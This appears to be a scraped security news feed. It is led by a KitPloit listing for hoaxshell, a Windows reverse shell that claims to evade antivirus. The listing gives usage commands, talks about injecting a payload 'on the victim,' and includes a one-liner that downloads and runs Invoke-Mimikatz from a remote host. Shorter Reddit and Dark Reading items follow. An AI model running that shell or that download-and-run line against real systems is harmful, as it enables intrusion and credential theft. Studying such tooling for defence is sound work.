KitPloit - PenTest Tools!
Hoaxshell - An Unconventional Windows Reverse Shell, Currently Undetected By Microsoft Defender And Various Other AV Solutions, Solely Based On Http(S) Traffic

https://blogger.googleusercontent.com/img/a/AVvXsEhEbUevYz4RPVTdKM82N7RTSxplBgFjDWT4VRE0UyH3kev2xBExATifWDdihSaqUkzEt1BKD-6-97v49ENOIvSBS2shTMEAh-FZ-vmT920vhlLWxr1x6d3_56_8Zk2pTVvpCJiR9jn5UdI5aXBLafxkKjT3KLL6MDCfhINVx7LWrbRthzt5eRmXILM9=w640-h518 hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it's own PowerShell payload and it supports encryption (ssl).

So far, it has been tested on fully updated Windows 11 Enterprise and Windows 10 Pro boxes (see video and screenshots). Video PresentationScreenshotshttps://blogger.googleusercontent.com/img/a/AVvXsEhEbUevYz4RPVTdKM82N7RTSxplBgFjDWT4VRE0UyH3kev2xBExATifWDdihSaqUkzEt1BKD-6-97v49ENOIvSBS2shTMEAh-FZ-vmT920vhlLWxr1x6d3_56_8Zk2pTVvpCJiR9jn5UdI5aXBLafxkKjT3KLL6MDCfhINVx7LWrbRthzt5eRmXILM9=w640-h518 Find more screenshots here. Installationgit clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py UsageBasic shell session over httpsudo python3 hoaxshell.py -s <your_ip When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the -rargument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it. Encrypted shell session (https):# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip-c -k <path The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation. Grab session modeIn case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine. sudo python3 hoaxshell.py -s <your_ip-g Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc). LimitationsThe shell is going to hang if you execute a command that initiates an interactive session. Example: # this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands: hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"' Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context. FutureI am currently working on some auxiliary-type prompt commands to automate parts of host enumeration. Download Hoaxshell

Exploit Collector
Hacking Zyxel IP Cameras To Get A Root Shell

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png
This paper is an in-depth blog post on hacking Zyxel IP cameras to obtain a root shell.

SHA-256 | b1c1d5af6bd2b118ab3a1c720fe41a27cfec41885c4cf555570f4e8a14d7f78b

Download
Source:packetstormsecurity.com

Welcome to Hats, Jelly Protocol

We are happy to announce our bug bounty partnership with Jelly protocol!Continue reading on Medium »
Read more...

Welcome to Hats, Jelly Protocol
https://hatsfinance.medium.com/welcome-to-hats-jelly-protocol-138cba5a335b?source=rss------bug_bounty-5

We are happy to announce our bug bounty partnership with Jelly protocol!Continue reading on Medium » (https://hatsfinance.medium.com/welcome-to-hats-jelly-protocol-138cba5a335b?source=rss------bug_bounty-5)

hacking: security in practice
2 Wireless adapter

Can you use 2 wireless adapters on Kali VM?

submitted by /u/kyuskuys
[link] [comments]

hacking: security in practice
Meet the Environmental Hacktivists Trying to ‘Sabotage’ Mining Companies

https://external-preview.redd.it/bKUeSoN6ZAKSnIMQ3kwWA8WaNRJ2HiTkGc8opmmbk-M.jpg?width=640&crop=smart&auto=webp&s=b8282bcef1b80efe5474ca54b269338b7a97f17e submitted by /u/jonfla
[link] [comments]

hacking: security in practice
Creating a custom DNS to bypass internet filter

Not sure if its the right subreddit to ask, but I have access to a wifi that allows you to browse only certain websites line instagram, whatsapp, .. I think they filter for the domain name since if I try to open instagram through its ip it gets redirectes to the "blocked page" website. Is it possible to self host a DNS or smth like that that would make instagram.com point to something like reddit.com? would that even work?

submitted by /u/x32byTe
[link] [comments]

hacking: security in practice
Why is my VM so slow?

I have a MacBook Air with an external monitor, and I am running Kali Linux on a VM in VirtualBox. However, the virtual machine is so slow and laggy that it ends up being a huge pain to do anything in. I have the CPU set to 2 CPUs and the memory to 2048 on virtualbox settings. Is there a way to make it less laggy?

submitted by /u/indifferenceofthesky
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

hacking: security in practice
A Deep Dive Into Black Basta Ransomware

https://external-preview.redd.it/SSY-Bs7KZGZebPNaqTBdZJvM_vDapxHFCDyyaeGSOYI.jpg?width=640&crop=smart&auto=webp&s=69a9ecb306cde9ceee7d674ffac41373015356a0 submitted by /u/CyberMasterV
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

hacking: security in practice
Good beginner job in the tech field for someone nearly of working age?

Hey everyone! I won’t disclose my exact age (for obvious reasons), just know that I am not yet of working age. I’ve been programming for a few years now (Mainly Python, Java, and some Lua), and I have partook in a few CTFs. I don’t know if I should try to get an internship at a tech company, or immediately go for a paying job like a help-desk. This will probably just be a summer job, as I’m still in school, so it can’t be long term. I’m not very much interested in the money, it’d just be a nice extra; I’m more in it to get experience and do what I enjoy most.

submitted by /u/RandomDemon81
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

External DNS Pentest
https://www.reddit.com/r/Pentesting/comments/wqt4id/external_dns_pentest/

<!-- SC_OFF -->Hey fellow testers, I'm doing external DNS testing for my company. I tried using Fierce to automate the testing but seems like it's not working. I did nmap and found out port 53 is closed. What else I can do to perform external DNS pentest? If there's anything I'm doing wrong, enlighten me, please. <!-- SC_ON --> submitted by /u/Puzzleheaded-Try5749 (https://www.reddit.com/user/Puzzleheaded-Try5749)
[link] (https://www.reddit.com/r/Pentesting/comments/wqt4id/external_dns_pentest/) [comments] (https://www.reddit.com/r/Pentesting/comments/wqt4id/external_dns_pentest/)

Dark Reading: Attacks/Breaches
7 Smart Ways to Secure Your E-Commerce Site

Especially if your e-commerce and CMS platforms are integrated, you risk multiple potential sources of intrusion, and the integration points themselves may be vulnerable to attack.

Dark Reading: Attacks/Breaches
Thoma Bravo Closes $6.9B Acquisition of Identity-Security Vendor SailPoint

All-cash transaction deal that was first announced in April means SailPoint is no longer a publicly traded company.

Dark Reading: Attacks/Breaches
AuditBoard Launches Third-Party Risk Management Solution, Empowering Enterprises to Tackle IT Vendor Risk at Scale

Solution streamlines the assessment, monitoring, and remediation of third-party risk for information security, compliance, and risk teams.